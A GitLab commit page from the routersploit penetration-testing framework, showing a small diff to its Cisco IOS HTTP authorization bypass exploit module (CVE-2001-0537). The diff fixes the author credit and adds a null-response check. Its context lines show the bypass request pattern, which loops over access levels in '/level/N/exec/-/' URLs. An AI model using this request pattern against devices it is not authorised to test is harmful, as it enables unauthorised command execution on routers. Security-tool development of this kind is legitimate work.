Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
772cc62a
Commit
772cc62a
authored
Apr 18, 2017
by
lucyoa
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Cisco IOS HTTP Auth Bypass exploit little fixes
parent
db81c414
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
2 additions
and
2 deletions
+2
-2
ios_http_authorization_bypass.py
...t/modules/exploits/cisco/ios_http_authorization_bypass.py
+2
-2
No files found.
routersploit/modules/exploits/cisco/
cisco_
ios_http_authorization_bypass.py
→
routersploit/modules/exploits/cisco/ios_http_authorization_bypass.py
View file @
772cc62a
...
@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit):
...
@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit):
'to bypass authentication and execute arbitrary commands, '
'to bypass authentication and execute arbitrary commands, '
'when local authorization is being used, by specifying a high access level in the URL.'
,
'when local authorization is being used, by specifying a high access level in the URL.'
,
'authors'
:
[
'authors'
:
[
'
Author'
,
'
renos stoikos <rstoikos[at]gmail.com>'
# routesploit module
'renos stoikos <rstoikos[at]gmail.com>'
# routesploit module
],
],
'references'
:
[
'references'
:
[
'http://www.cvedetails.com/cve/cve-2001-0537'
,
'http://www.cvedetails.com/cve/cve-2001-0537'
,
...
@@ -44,7 +44,7 @@ class Exploit(exploits.Exploit):
...
@@ -44,7 +44,7 @@ class Exploit(exploits.Exploit):
for
num
in
range
(
16
,
100
):
for
num
in
range
(
16
,
100
):
url
=
"{}:{}/level/{}/exec/-/{}"
.
format
(
self
.
target
,
self
.
port
,
num
,
self
.
show_command
)
url
=
"{}:{}/level/{}/exec/-/{}"
.
format
(
self
.
target
,
self
.
port
,
num
,
self
.
show_command
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
.
status_code
==
200
and
"Command was: {}"
.
format
(
self
.
show_command
)
in
response
.
text
:
if
response
is
not
None
and
response
.
status_code
==
200
and
"Command was: {}"
.
format
(
self
.
show_command
)
in
response
.
text
:
self
.
access_level
=
num
self
.
access_level
=
num
return
True
# target is vulnerable
return
True
# target is vulnerable
return
False
# target is not vulnerable
return
False
# target is not vulnerable
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment